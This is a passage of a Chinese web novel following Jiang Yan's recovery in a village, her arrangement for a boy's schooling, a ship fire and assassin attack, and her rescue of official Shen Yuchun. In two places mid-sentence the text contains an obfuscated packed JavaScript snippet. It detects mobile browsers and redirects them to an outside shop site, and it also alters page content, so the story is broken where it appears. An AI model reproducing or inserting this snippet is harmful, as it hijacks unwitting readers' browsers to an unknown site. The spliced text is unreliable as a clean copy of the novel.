姜琰一听这话连忙回神大力晃着那只完好的右手,生怕对方误会:“不不不,您可千万别这么想,我刚才是在想别的事,衣服很好,没什么不舒服的!” 棉麻的料子就是透气又轻快,比锦缎凉快很多,马上入夏,她还想给自己弄两身这样的衣服呢。 妇人喘了口气,从怀里拿出一包牛皮纸包着的东西,姜琰立刻明白这是什么,睁大了眼睛,等着她说话:“孩子,这是从你衣服里找到的,我没打开过,你可以看看里面缺没缺东西。” 姜琰感觉自己的心酸酸涨涨的,眼眶发热。 这是她的银票,农妇肯定摸出来了,但又不好意直接说你数数里面钱少没少,只能委婉暗示她。 姜琰把银票拿过,对她说了声谢谢。 她摸了摸姜琰的头,粗粝的掌心勾起了发丝,她又顺着她的头发滑下,温热的手掌像个小火炉一样烘烤着她毛茸茸的头顶,本来泛凉的四肢好像也被熏热了。 ...... 夜风猎猎,树影攒动。 易见山抬手抹了下嘴角的血,从地上站起,皮笑肉不笑道:“哎呦,这么多年未见,你也学会打人了?” 沈瑜春目眦欲裂,额角青筋暴起,挥起握紧的拳头又给了他一下,易见山跌倒在地,笑得越来越开心了。 “为什么?”沈瑜春问。 易见山坐在地上笑着回道:“我途径青州,听说有人以我的名义买田,挺有意思的,所以就过来看看了呀。” 沈瑜春看向易见山,眼底猩红:“我问你为什么要杀她?” 易见山噗嗤一声笑了出来,连忙摆手解释:“饭可以乱吃话不可以乱说,我哪里要杀她了,我只是想把她捉回来看看是怎样的绝色让咱们沈侍郎铁树开花了。” “那你为什么要拦她的信?” “咦?”易见山似是疑惑地歪着头问道,“你怎么知道我拦她的信了?” “哦......”易见山恍然大悟,嘲笑道,“原来你派人监视她啊?” “昭远兄,你也干这种下作的事情?” “你闭嘴!”沈瑜春爆喝一声,但易见山并不觉得害怕,他只觉得沈瑜春被人戳中了心思,恼羞成怒。 易见山摸了摸下巴,沉思道:“不对啊,你知道她要假死,也知道我拦住了她改日子的那封信,既然这么喜欢人家,还忍心让她身处危险之中?不对不对......” 易见山突然想到了什么,眼睛一亮,大喊道:“我知道了,那根本就不是她的人,是你的人对不对?” 沈瑜春没有说话。 易见山继续说道:“咱们沈大人真是会算,知道人家不想和你去湖州设计路上遇险逃脱被你发现了,你干脆将计就计,我把信拦了,你假装没看到,把那伙人替换成你的人救她顺便把人打晕了也好绑起来也好直接抬到濯州,让人家顺利地跟你去湖州,结果没想到人家直接跳了崖,哈哈哈哈......你这么生气难过不会是因为愧疚吧?” 沈瑜春还是没有说话,怒视着他,却没有再动手。 易见山起身,用扇柄戳了戳他的胸膛道:“下次揍我之前,先问问自己是否问心无愧。” 说完转身离开,大摇大摆地走了几步路后突然一拍脑袋,摇摇晃晃地转头对他说道:“忘了 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她的身体好得很快,自从醒来以后又躺了两天就能下床了,李娘给她换药换得勤,她的脚已经能下地走路,只不过李娘担心她,让她的丈夫李木匠做了把轮椅给她,这两天她没事就坐着轮椅到处跑,有的时候是自己去,有的时候是小虎推着她。 小虎还是不太爱和她说话,但有的时候为了吃几口糖块也会“被迫”和她聊聊天,她也由此知道小虎其实是李娘的侄子,小虎的爹娘走得早,只留下他一个孩子,李氏夫妇觉得小孩子太可怜,于是将他收养起来,只不过他们有的时候也会自责,若是当初能给小虎找个富庶人家收养,如今是不是会过得好一些? 别的孩子在小虎这个年龄都去邻庄上私塾了,但李家因为太过贫困,所以没能让小虎上上学。 穷人家的孩子多读点书还是有出路的,哪怕做不了官,考上个秀才也是有功名的。 姜琰知道李氏夫妇的心病,提出要资助小虎上学,被他们拒绝了。 倒不是他们觉得不好意思,而是小虎自己不想去。 “你真的不想读书?” 姜琰问正在她身旁给老黄牛顺毛的小虎。 小虎撇撇嘴:“去读书干嘛?又不一定能考上,浪费钱,我又不聪明。” 姜琰冷不丁地戳穿他:“那你还会背《三字经》,李婆李叔都不识字,你怎么认字的?” 小虎小脸一红,不说话了。 姜琰有那么一瞬间觉得小虎和某位姓沈的大人很像。 她来了点兴趣,继续逗他道:“你是不是偷偷在私塾外面听先生讲学来着?” 小虎瞪了她一眼,警告她闭嘴。 姜琰回敬了他一个白眼,见这小孩儿一言不发地盯着牛看,明显是和她怄气,于是心中一软,问道:“你想不想和我去邻庄私塾里看看?就说我是你姐,问问能不能先听听讲学内容。” 小虎似是有些心动,神色有些动容:“真的?” 姜琰点点头:“我们悄悄去。” 小虎下意识环顾四周,见周围没有熟人,凑过来别扭地说道:“要不现在去看?今天林先生讲学,我想去听听。” 姜琰没听说过这位“林先生”,不过看到小虎一提到这人眼睛就亮了起来,心想这应该也是个厉害人物,像大姐头使唤小弟一样对他招招手道:“推我。” 小虎屁颠屁颠地走到她身后,推着她快速跑了起来:“坐好了您嘞!” 24.第 24 章 小虎推着她在田间走了很久,一道斜阳照篱笆,风吹稻香,木轮压在松软的红土地上,红蜻蜓高高低低地飞着,姜琰问小虎道:“开心吗?” 小虎抿着嘴犹豫半天,来了一句“还行吧”。 姜琰噗嗤一声笑道:“好好好,还行是吧,你要不慢点推我呢?” 小虎瞪了她一眼。 田连阡陌,小虎突然在路中间停了下来。 姜琰一愣,问道:“怎么了?” 小虎侧耳听了一会儿道:“前面有人来了”,说完整个人向后退,连带着把姜琰也拖进了田垄里。 过人高的水稻错落有致,正好将他们一高一矮的身影掩盖其中,二人刚刚站稳,就听见远处传来叮当的车铃响声。 声音越来越近,她甚至能听到车轮轧在泥土上嘎吱嘎吱的响声,比较小或者轻的马车走这样的路是不产生这种声音的,姜琰有点好奇是哪个达官显贵来青州这犄角旮旯的地方,难道是田知半府衙里有人勾结乡绅的事情被人告发了?现在唯一离得比较近的官员就是沈瑜春了,难道...... 姜琰心紧张地砰砰作响。 “不会的不会的”,她告诉自己别想太多,知府出事和户部官员有什么关系,一般是巡按御史问责,要来也是这个部门的人来,沈瑜春现在应该在湖州。 也不知道他查出来转运司的问题没有。 她已经快半个月没见到沈瑜春了,他现在在干什么呢? 姜琰心中怅然,但转念一想,自己这种情绪是从何而来,莫非...... 姜琰突然失笑,自己的想法也太过荒谬了,自己只不过是贪图美色而已,还真的动了真心吗,倘若真的动情,怎么会心硬地跳下悬崖就为了逃避去湖州? 她只是一个自私又贪财的社畜罢了,难道还真的要在这个地方结婚生子为没享受过任何福利的社会卖命吗? 别太搞笑了。 姜琰痴痴笑了一会儿,忽听小虎“嘘”了一声道:“傻乐什么呢,他们来了。” 姜琰抬头,风吹麦浪,天际浓云滚滚,万顷农田被金黄晚霞点亮,宛如星星之火翻滚席卷大地,稻浪声清晰入耳,一声尖锐銮铃声响穿破天地的空隙。 铃声不胜其烦地一直在响,小虎烦躁地皱紧眉头,姜琰实在想看看到底是谁这样狂妄,扶着椅把儿站起来,却不小心扯到了脚上的伤口,轻轻“啊”了一声后猛地跌在了轮椅上,闹出不小动静。 小虎瞳孔骤然缩紧,后怕道:“你在干嘛?” 姜琰道:“我就是想看看。” 小虎骂道:“有什么可看的?等会儿被人发现了是要被抓起来罚鞭子的。” 姜琰:“啊?这么严重?” 小虎无语:“赶紧闭嘴吧,等会儿他们就走了。” 叮铃哐当的车铃声响了一路,二人躲在过人高的水稻里,抬头只能看见鎏金的车舆顶部和一只随风而过的竹纹旗帜。 姜琰觉得这旗子似曾相识,但想不起来具体在哪见过。 一只原本趴在她脚边的绿螳螂此时飞了起来,姜琰顿时瞠大了双眸,还没来得及尖叫,就被小虎捂住嘴,她知道马车还没过去,只能哆嗦着闭眼等着它飞走,绿螳螂好像是知道面前的人怕虫,盘旋了好一会儿,落在了面前金黄色的庞然大物上。 沈瑜春将落在侧窗上的螳螂弹下了车,侧头问道:“兄长一定要这样吗?” 坐在他身旁的男人点点头:“我也只是听命行事,你在青州停留太久,若被人发现,定会在朝上参你一本。” 沈瑜春神色异常平静,原本如琉璃般的淡色眸子此刻灰蒙蒙的,他问道:“那什么时候可以把解药给我。” 沈瑜礼见自己小弟无精打采的样子不仅没有任何担忧,反而勾起嘴角:“等你到湖州再说。” 沈瑜春看了看自己手腕上鼓起的青色经脉,只觉得可笑。 沈瑜礼给他吃的药不致命,也无害,说是使浑身肌肉无力却能保证他的正常活动,能抬手能走能说话,但若是想跑想跳或者做点激烈的行为——比如逃跑,那就无能为力了。 沈瑜礼给他的药和沈家的作风一样,都是阳的不来来阴的,总能杀人于无形之间。 沈瑜春疲惫地阖上了眼,多亏了药力他这几日已经不会失眠,姜琰出事地那几天他一闭上眼就会想到大雨滂沱的夜晚,她是怎么熬过来的。 她一定很疼。 沈瑜春感觉心中坠着千斤之石,好像跌入无尽的大海之中,他想挣扎却做不到,只能任由思念和痛苦将他拖入深渊。 “哈哈哈哈哈......你慢点!” 目送那辆高大马车离开后,小虎仿佛又活了过来,仗着姜琰需要依赖轮椅行走时快时慢地推她,有的时候遇到下坡路还会放手让她快速滑下去,姜琰觉得很刺激。 小虎没有对她产生怜悯,这样很好。 从稻田向北走二里地,就到了邻庄先生讲学的私塾,那是一个很小的草房改成的学堂,院外篱笆稀疏,七扭八歪地立在地上,门的最上方挂着一个发白的木牌匾,上面写着四个大字“怀苍学堂”。 怀天下之苍生,嗯,学堂不大,格局倒是挺大的。 她有点想见见这位林先生了。 小虎收起了往日那一套街溜子的做派,踏上台阶前还脱了鞋,干净的小脚丫轻轻放在门口的台阶上,他又整理了下仪容,然后小心翼翼地敲了敲门。 不多不少,正好三下,敲完就乖乖站在门口,等着里面的人开门。 片刻后门被打开了一条缝儿,里面的男子探出头来,先是看了眼姜琰,后者怔了一下。 ......好帅! 姜琰的视线好像被他吸引住了,一个劲儿的盯着人家看,好像要把他身上看出两个窟窿来才肯罢休,眼前的男人眉是柳叶弯弯,眼是桃花盈盈,唇红齿白,身材修长,一身素色长衫更显肤白胜雪,如玉如磋,如琢如磨。 娘诶,古风美男终于让她见着了! 林先生先是看了一眼姜琰,收回目光,紧接着低头看向小虎,满眼惊喜道:“小虎?你怎么来了?” 小虎却支支吾吾不回话,姜琰纳闷他为什么不说话,以为是不好意思,替他答道:“我是他姐......” “不是的!”小虎大喊道。 姜琰:? 小虎羞愧地向她说道:“先生告诉我不可以撒谎的。” 姜琰:......所以我是小丑? 林先生好像也明白过来怎么回事了,了然地笑着说道:“进来吧小虎,还有这位......” “姜琰。” “姜姑娘。” “嗯嗯嗯这就进来啦!” 帅哥让她进去坐诶,那她就不客气了! 姜琰转着轮子就要往里面走,被小虎拦住。 姜琰:“干嘛?” 坏我好事。 小虎用手点了点自己嘴角,提醒她道:“你口水都流出来了!不许对林先生有非分之想!” 姜琰:“窈窕君子,淑女好逑。” 小虎瞳孔上下震了震;“你怎么能说出这种话?” 姜琰哼了一声道:“怎么不能?这话也就是男人写的,要是换女人写的你现在背的肯定不是这个了。” 走在前面的林先生突然回头:“姑娘说的是,圣人也不一定都是男子。” 姜琰眼睛一亮,猛猛点头,帅哥不仅脸好看,教养也好。 小虎一听先生这么说,瞬间熄火,压低声音说道:“林先生有喜欢的人。” 姜琰波澜不惊道:“哦,我知道啊。” 小虎:“?” 姜琰看向林先生腰间,翠绿色的玉佩旁垂着一块圆环形状的玉瑗,上面雕着兰花花纹,如果姜琰没记错的话,这应该是一种信物。 君子如兰,但一般佩一块玉就可以了,两块玉会显得繁杂,林先生精通礼法,不会不知道。 这玉不是女朋友送的就是男朋友送的。 她对小虎说道:“你不知道?边孔等宽为环,边小孔大为瑗,环形有缺名珏,环表身份,瑗是信物,珏用来装饰。” 小虎听完一怔,闷声说道:“不知道,我们家没有玉。” 姜琰闻言意识到自己说错话了,耳根一红,想找补几句,没想到小虎垂眼推着她沉默不语。 林先生在后院的矮桌上为他们斟茶,姜琰看了眼学堂的环境——虽然小,但精致典雅,一条小渠悠悠穿过庭院,曲水流觞,别有一番风味。 学堂里很安静,姜琰问道:“不是说现在还在讲学吗,怎么没有学生?” 林先生解释道:“学堂早上和晚上各讲两个时辰,晚上大多是农户家的孩子劳作结束后再来,现在还没到时间。” 也对,现在太阳还没下山呢。 林先生停顿了一会儿后接着说:“姜姑娘,您是为了小虎上学来的吧?” 姜琰点点头:“这孩子想上学,也聪明,就是担心家里......” “我知道”,林先生突然有些为难,“我也知道小虎他爱读书,有几次发现他躲在窗户下听课,想让他进来,他拒绝了。” “为什么?” “他说进来就要给学费,他家里没钱,我说不要钱,他说这样不尊重老师。” 姜琰有点想笑。 这孩子还怪有礼貌的。 姜琰想了想从怀里把银票拿出来,抽了一张对他说道:“林先生,我想资助他上学。” 林已絮余光扫了一眼银票上的面额,推拒道:“姜小姐,不行,这太多了。” 姜琰强硬道:“收下吧,当做我的一点心意,您也看到了我这胳膊和我这腿,要不是有李家三口人救了我我可能早死了,他们的恩情我无以为报,我现在只有钱了,您就当可怜可怜我。” 林已絮:“可怜你只有钱吗......” 姜琰打哈哈道:“收下吧......” 林已絮:“不行......” 姜琰:“收下吧!” 林已絮:“这不合适......” 在学堂里温书的小虎“啪”地把门推开:“姜琰!你在对林先生做什么!” 姜琰:“什么做什么?” 林已絮:“不,不是......” 林已絮转身把小虎又推了进去:“你先去温书,我有事和姜小姐说。” 小虎转身时佯做凶样警告她不许对自己的林先生有非分之想,姜琰不甘示弱,做了个鬼脸。 把小虎送走后林已絮摘下身上的玉瑗,递给她道:“听说濯州离应天很近,姑娘可否把这玉瑗替我转送给一个故人?” “应天啊......”姜琰有点为难。 林已絮接着说道:“若是姑娘能帮我送到,我便让小虎入学,对小虎也好说。” 姜琰没有立刻答应,而是问他:“先生可否告诉我这人是谁?年芳几何?家住何处?容貌怎样?若是我一概不知,想来这东西也不是那么好送出去的。” 林已絮顿了顿,“稍等”,说完便转身进了里屋,再出来时手里拿着一幅画像。 姜琰拿过来,将画卷徐徐展开,露出画里女子的绝世容颜。 无论前世今生,姜琰从来没有见过这样貌美的女子,幽兰自芳,美玉不艳、光容鉴物,脱尘出俗。 女人明明没有出画,她就好似闻到了一股香味。 姜琰这才明白什么叫倾国倾城的大美女了。 她也想看美女姐姐。 “咳咳。” 林已絮轻咳一声,姜琰打了一个激灵,羞赧地挠头道:“林先生,这是......” 林已絮定定想了一会儿道:“是我的好友,她在京中国子监教书,请姑娘把这信物给她。” 姜琰问道:“可你还没有告诉我她叫什么?” 林已絮却道:“国子监只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221497|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一位女先生,你去了就知道了,隔墙有耳,那人不让我提起她。” 姜琰猛地看向四周:“谁啊?难道先生有生命危险?” 林已絮摆摆手道:“一些往事,我不便提起,你把这信物给她,她自然就明白了。” 姜琰心想应天离濯州确实不远,来回一天路程足矣,她偷偷去也不会被人发现,还能解决小虎上学问题,于是爽快答应了。 此时已经日暮时分,陆陆续续有农户的孩子前来上课,学堂里还没有小虎的位置,他背了一会儿书后就自己出来了,姜琰已经由林已絮推到学堂门口的篱笆旁,见小虎神情低落,抓起他的手放在膝盖上道:“一个好消息和一个坏消息,先听哪个?” 小虎想了一会儿道:“好消息。” 姜琰笑笑:“你有学上啦!” “真的?!”小虎蹦起来,上衣飞到肚皮上,但很快又垂着头道,“我不能要你的钱,李婆李叔会不高兴的。” 姜琰逗他道:“你觉得像我这种死都要往怀里塞几张银票的人,舍得花大价钱让你去上学?你平常动不动就凶我,我干嘛资助你。” 小虎脸皮薄,被说的有些难堪:“我不是,我没有......” 姜琰刮了下他的鼻子道:“我知道,小虎,我都知道,不过我真的没有花钱,是林先生夸你聪明,自己要让你留下来的,我只是答应他帮了个小忙而已,很小很小的忙。” 小虎红着眼眶点了点头。 “不过小虎,”她眼神真切,“下次不要嘴硬心软了好吗。” 小虎快哭了,使劲地点着头,哽咽地问:“那坏消息呢?” 姜琰用手揩了揩他的眼角:“我要走啦。” 小虎的眼泪憋不住了,啜泣着说道:“你的腿不是还不行吗?” 姜琰用手拍了拍她的大腿道:“哪里不行?我只是崴了脚而已,腿还是好好的呀,至于手吗,左手又不影响吃饭写字,有什么要紧的?而且我还有任务呢。” 该死的系统,给她安排了个去湖州要账的任务,她还没把这笔钱收回来呢。 小虎抬起圆圆的眼睛道:“什么任务?” 姜琰糊弄他道:“其实我是神仙,下凡是来渡劫的,我要去渡劫了,你信吗?” “我信。” “什么?” 小虎坚定地说道:“你是神仙。” 不然为什么对他这么好? 姜琰自嘲地笑了一下揉揉他的脑袋道:“那你送本大仙回家吧。” 小虎“嗯嗯”两身,继续为姜琰卖命了。 ... 三天后。 濯州水县的渡口上人来人往,船帆如云,商船、官船、画舫近白条堆积在并不宽阔的河面上,其中姜氏的商船最多,登船处姜家大老爷姜秉正笑得灿烂如菊。 “沈大人,这边请!” 沈瑜春脸上并无更多表情,也不热络回应,只是不徐不疾地踩着台阶登船,姜秉碰了一鼻子灰,悻悻跟在后面。 “怪我不去找清儿,都跌下悬崖了我有什么办法,我也找了很久,找不到又不准我办丧,真难伺候。”姜秉面上笑得灿烂,实际心中早骂了沈瑜春几百遍了。 沈瑜春不想理他,自己身上的药劲儿还没过去,面上更显疏离,他定定站在船头望着身下的河水,心想自己跳下去算了。 姜琰不在,多活一天都是对他的折磨。 水手和货郎在这条大船上来回穿梭忙碌,姜秉站在沈瑜春旁边岁月静好,他看着这条渡口上铺满了他的船,心中难免骄傲,还没开口介绍几句就被沈瑜春打断:“我走后,你带着我的人好好去青州找她,知道么?” 他后槽牙咬得很紧,眸子紧缩,就像盯着一头待宰的羊羔一样,这话是命令也是警告:别想着省事直接给姜琰办丧事。 他说这话时声音不大,但又因为想给姜秉施压,说话声音太小没有气势,恰好被经过他们身边的几个小杂役听见,其中一个皮肤稍白,身材瘦削的船员听到后,身形顿了顿。 姜琰下意识看向沈瑜春,他侧身对着她,目光沉沉,对她的在乎不像是装出来的。 “难道沈瑜春还在找我?” 她又看向姜秉,这个渣爹,不禁在心中腹诽道:“这老登还真是自私鬼,找都不找她就直接想着办丧事了,亏得她还去了青州......虽然不全是为了他,但沈瑜春不是和姜秉一起去湖州吗,怎么还想找到她?这事儿就非她不可了?” 姜琰并没有为姜秉对她的轻视和冷漠有过一丝一毫的难过,一是因为她没感受到他的爱,她并没有把他当做过父亲,顶多就是她世界里的一个NPC而已,她从不为过客流泪;二是她觉得自己甚至可以比姜秉还冷血,如果姜秉去世,她只会迅速结清他的财产然后分割掉它们。 天降横财,谁能不爱呢。 “发什么愣呢,干活!”舵手冲她吼道。 余光里察觉沈瑜春向这边看过来,她立刻低着头躲过他的视线,小跑着隐匿在了人群之中。 “等等!” 沈瑜春有些恍惚,他好像看到了姜琰,刚想追过去,只是再定睛一看,前方人海茫茫,他又找不到她了。 商船扬帆起航,碧绿河面泛起涟漪,不过姜琰没有办法欣赏到船上河景,因为她伪装的是商船上的小杂役,只能待在货仓里,商船的货仓在船的最底部,四面密不透风,空气都被抽干吗,只能听见泷泷船身划过水深处的声音。 在这种密闭的情况下,她的感官被无限放大,她能清晰地闻到货仓里有一股怪味。 不刺鼻,但是很难闻,像放了很久的土发出来的酸味,她觉得这味道很熟悉,好久远的感觉。 她就这样在货仓的角落里睡了一觉,从濯州走水路到湖州只需要一天的时间,快得话半天,已经很近了,她睡着前还在想着怎么混在人群里溜出去,然而夜半时分,她突然听见有人大喊道:“着火了!!!!!” 25.第 25 章 姜琰倏然清醒。 “什么?着火了?” 她睡得正香,听到走水的第一反应竟然是看看火势大不大,不严重的话她就接着睡了,实现前方并无想象中愈演愈烈的火焰,她觉得没什么事,又想闭眼,却感觉自己越来越热,像是有人把自己放到火炉中一样烘烤,眼底突然出现一抹刺眼的亮光,她睁开眼,看到火焰如蛟龙一般从隔壁船仓席卷而来,瞬间清醒,大叫一声不好站起来逃命。 船壁被火烤得滚烫,姜琰没办法长时间的敲门,但此时船员们都集中在隔壁船仓灭火,嘈杂声中无人听见她的求救,她只能一下一下用力地踹着仓门。 火越来越大,船员们一缸接着一缸地往里倒水,姜琰却觉得有些不对,熟悉的气味勾起了她的记忆,若是普通的明火引起的火灾为什么这么久了还灭不掉? 能着火的不仅是明火、汽油、还有......对了!石灰。 石灰遇水升温发热,若是船仓里有易燃物品发生火灾是分分钟的事情,怪不得遇水反而烧得更旺了。 浓烟刺激扑鼻,很快她连求救声也发不出来,喘息艰难,发出阵阵咳嗽声。 火势蔓延的越来越大,逐渐有船员发现了隔壁货仓也在着火,几名船员大声喊道:“旁边的也起火了,快来一部人灭火!” 谢天谢地,这时门才被“哐当”一声踹开,有船员发现了蹲在门口灰头土脸的姜琰,一把把她拽起来道:“没事吧,赶紧出去吧,我们来灭火!” 姜琰踉跄了几步,看他们还在用水浇火,心中有些无力,阻止道:“不要、咳咳,不要用水!” 救她的船员疑惑大喊道:“救火不用水用什么?” 姜琰看他的眼神就知道和这人讲道理讲不通,直接又向里面跑去。 “欸!你干什么?” 她从门口脚边拖了一袋货物出来,这袋货还没被打湿,用力将袋子撕开,里面哗啦哗啦露出灰色的像土一样的粗糙颗粒。 她指了指袋子里的东西道:“这是石灰,遇水升温,这批货运的是红楠木,木头易燃,所以才着了火,你们不能用水灭火,应该用沙土。” 救她的船员大叫:“那怎么办?船上哪里有土?” 姜琰此时异常冷静地回道:“嗯,所以没办法了,只能弃船。” 船员不解地看着她,好像在盯着什么奇怪的东西:“我们不能弃船。” “为什么?” “弃船就挣不到钱了。” 姜琰愣了一下:“可是.......” 船员推开她喊道:“又没有沙土?快拿沙土来!” 说完他目光沉沉,看了一眼姜琰道:“小伙子,我看你还年轻,还不懂情爱,若是你有一个心心念念等你回家的爱人,你肯定会想活下去的......但比起活下去,你更想让她生活无忧,开心常在。” 姜琰不知道该说什么,她不懂,有什么比活着还重要的? 她看了眼甲板,既然自己得救了也告知他们灭火的方法,自己也没必要待在这里,是时候跳船走人,此时姜秉正在船头急得满头大汗,这批货可是上好的红楠木,是要送到应天给皇室用的,这哪里是木头,这分明是他成为皇商的敲门砖,这么久的努力统统付之一炬,他感觉自己要泪洒船头了。 沈瑜春冷眼看着,船上有小舟,他已经命人去放船了。 姜琰在看着甲板上的二人心情都不是太美丽,觉得自己没必要这时候出现在他们眼前,她转身从打算从船尾处跳下逃生,姜琰水性好,不担心跳船会有危险。 “轰——”地一声,好像有什么被烧断了,船舷突然下陷,姜琰一下子向前跪去,船向后倾斜,她无比丝滑地滑向船尾,一转头,看见一伙黑衣人手里拿着长刀,刚才的议论声戛然而止,姜琰和他们面面相觑。 姜琰:我裂开了,这条船上怎么卧虎藏龙的? 沈瑜春和姜秉哪来的这么多仇家? 她尴尬地笑了一下,下一秒腿也不软了,巨大的求生意志迫使她飞速站起,趁着黑衣人还没反应过来迈开腿实出吃奶的力气跑向船头。 “啊啊啊啊啊——有刺客啊!” 她一边跑一边求救,也不管会不会暴露身份,大喊着告诉船员们和姜秉他们赶紧警戒起来,不然这条船上可能会无人生还! 黑衣人本来还在商议怎么顺利刺杀,一回头发现有人逮他们个正着,这还谋划什么,赶紧杀了灭口才是最要紧的,于是也拔刀冲过来,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232795|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们这一伙人才是群英荟萃,什么山匪侠客都被招拢过来只为取沈瑜春这个狗官的性命,有人使出飞毛腿,有人使出流星锤,不消多时就追上了姜琰。 “啊——” 船头就在眼前,她马上就能找到沈瑜春了,但身后的刺客一脚将她踹在地上。 她下意识护住还没好的手臂,就在头即将向下磕在脚下的台阶时,她下意识地叫了一个人的名字。 那一刻她突然想起了船员的那句话:“如果你有心爱之人,你会很想活下去的,但比爱更强烈的,是希望对方也能好好活下去。” 她好像说了什么,也好像没说,不记得了,那一天的月亮很圆,隔岸的江面上好像在举行盛大的游会,啪啪啪啪幽深的苍穹之中突然绽放起绚烂的烟火,她被人搂在了怀里。 她懵懂地抬头,在那双宛若琉璃的双眸中看见了自己。 沈瑜春红着眼握紧她的肩头,似是生气又像是后怕,他说:“我找到你了。” 姜琰感觉心脏的缺口处有东西在生根发芽,紧密缠绕着她怦然作响的心脏,那一刻她觉得自己好像不孤单了。 身后的杀手蜂拥而上,沈瑜春拔剑接了几招。 姜琰还是第一次看到沈瑜春用剑,原来他会武功。 “沈大人!快跳下来啊!” 姜秉在船下的小舟里急切叫道,比起做不了皇商他更担心自己的商船上有朝廷命官身亡,背上了人命,谁还敢用他啊! 姜秉在小舟上急得直跳脚,沈瑜春没理她,只是拉着姜琰道:“你先下去。” 姜琰不从:“一起,他们冲你来的。” 沈瑜春突然笑了:“好,一起。” 姜琰先蹲下往下跳,沈瑜春在后面拦人,杀手被消灭的差不多,只有一两个还在负隅顽抗,正欲跳下之时,她突然瞥见角落里原本倒地的杀手从袖子里掏出一个小型剑弩对准了他,冷光刺痛了她的双眼,她尖叫道“小心!” 她伸出手想把沈瑜春揽去身后自己跳下去挡剑,只不过一切都太晚了,烟花在天边炸响时,姜琰感觉身体被重物压着向河水中倒去,耳边是沈瑜春的闷哼声。 他中箭了。 那一夜,她看到了血红的、此生最美的烟花 26.第 26 章 “噗——咳咳!” 夜幕低垂,一轮明月漂浮在空中,远近的房舍屋瓦上洒落一层如霜的月光,整个村庄陷入寂静的夜色中,月亮高高挂起悬在水面上,宛如一盏闪耀的孤灯。 河面并不平静,靠近岸边的河水在咕噜咕噜冒泡,水底漂浮着大团的乌黑发丝,若是有村民过来瞧一眼,定会被吓得跌坐在地上大喊妖怪。 一只纤细瘦弱的手拍在岸边,“水鬼”撑起身子上了岸,极黑的头发贴在脸上,那“鬼”看起来已经筋疲力竭,但却没有休息,而是又将一个直挺挺的“尸体”拖上了岸。 “沈大人!”姜琰拍了拍他的脸,“沈大人!沈瑜春!” 躺在她身旁的男人双目紧闭,面色青白,嘴唇发紫,明明刚才还没事的,怎么突然变成这样! 她急得快哭了,也顾不得自己的手尚未痊愈,一边用双手使劲按压他的胸膛一边害怕地重复叫他道:“沈瑜春!天啊......有没有人能来帮帮我啊!” “救命啊......沈瑜春,求你了,你别这样,快醒过来吧......” “我求求你了!......” 水晶一般的泪珠盛着月光落在地上,夜晚的凉风吹过她浑身发冷,她的双手止不住地颤抖,沈瑜春还是没有任何反应,见状姜琰几乎是毫不犹豫地就俯身将嘴唇贴在了他的唇上。 冰冷的唇瓣相贴,姜琰鼓起脸颊向他的口腔里渡气,没一会儿她便看见沈瑜春皱了下眉。 有希望! 她起身重重按压着他的胸腔,又将嘴唇贴了上去,来来回回几下以后,她起身时看见沈瑜春先是睁开发空的双眼,然后紧着剧烈咳嗽起来,将口鼻的积水全都呛了出来。 沈瑜春的皮肤薄透,纵使一开始的时候宛若魍魉一般毫无血色,但经过剧烈的咳嗽以后脸上逐渐浮现出两团红晕,微卷的湿发贴在他瘦削的脸颊,双眼迷离,原本严丝合缝的领口也被扯歪,露出胸膛大片雪白的肌肤,尤其是因为人工呼吸时姜琰有些用力,此刻他的两瓣嘴唇也有些红肿。 姜琰一怔。 她竟然不合时宜地觉得,沈瑜春这样,还......还挺诱惑的? 沈瑜春懵懵懂懂地看向四周,逐渐想起来今晚发生的事情,眼神变得清明,定定看向月光下的姜琰,对方也正在看他,二人异口同声道:“对不起。” 沈瑜春:“?” 姜琰:“?” 她/他在说什么对不起? 两个人愣了一会儿,见对方都没有进一步解释,心照不宣地沉默起来。 沈瑜春觉得后背有些抽痛,刚抬了下胳膊,就“嘶”地一声疼得倒抽气。 姜琰先察觉到他的不对劲,想起来落水之前他中了一箭,立刻挪过去想要将他衣服扯开查看伤势,没想到沈瑜春突然拉住衣服将她的手挡住。 他轻喘着抗拒道:“别,姜姑娘,你别这样。” 姜琰心里着急,担心他伤口被水泡过发炎流脓,也没多想,一把挥开,连她自己都没意识到自己现在就像一个强抢民女的地皮流氓一样,蛮横地扯着他本来就七零八落的衣服,语气强势道:“给我看看!” 沈瑜春的脸更红了:“我没事,你别看了......这样不合规矩。” 姜琰心想这人怎么这么别扭,扯他衣服时更加用力了:“什么不合规矩,给我看看怎么了!” 沈瑜春还是不让她看,拉扯间衣服蹭到他的伤口,他闷哼了一声:“别——” “欸!干什么呢?!” 二人正断断续续拉扯时,树丛后方的小屋前,突然有人拿着油灯出来向他们大喊。 姜琰和沈瑜春先是一愣,又互相低头向下看了一眼,姜琰的手里还攥着沈瑜春袖子,而沈瑜春则露出半个雪白的肩头,她这才意识到自己的行为有多失态,立刻红着脸松手道:“对!对不起啊啊啊,我不是故意的,我真的只是想看看你的伤......” 沈瑜春默默将退至肩膀的衣领扶了上来,头微微底下,双眸看地,不知道在想什么,姜琰甚至能看到他根根分明鸦羽般的睫毛,一下又一下地扫在她的心上。 有些痒。 提着灯的村民不知道他们在干什么,只知道自己睡得酣香之时外面传来阵阵怪声,以为有人在行不轨之事,立刻出来查看。 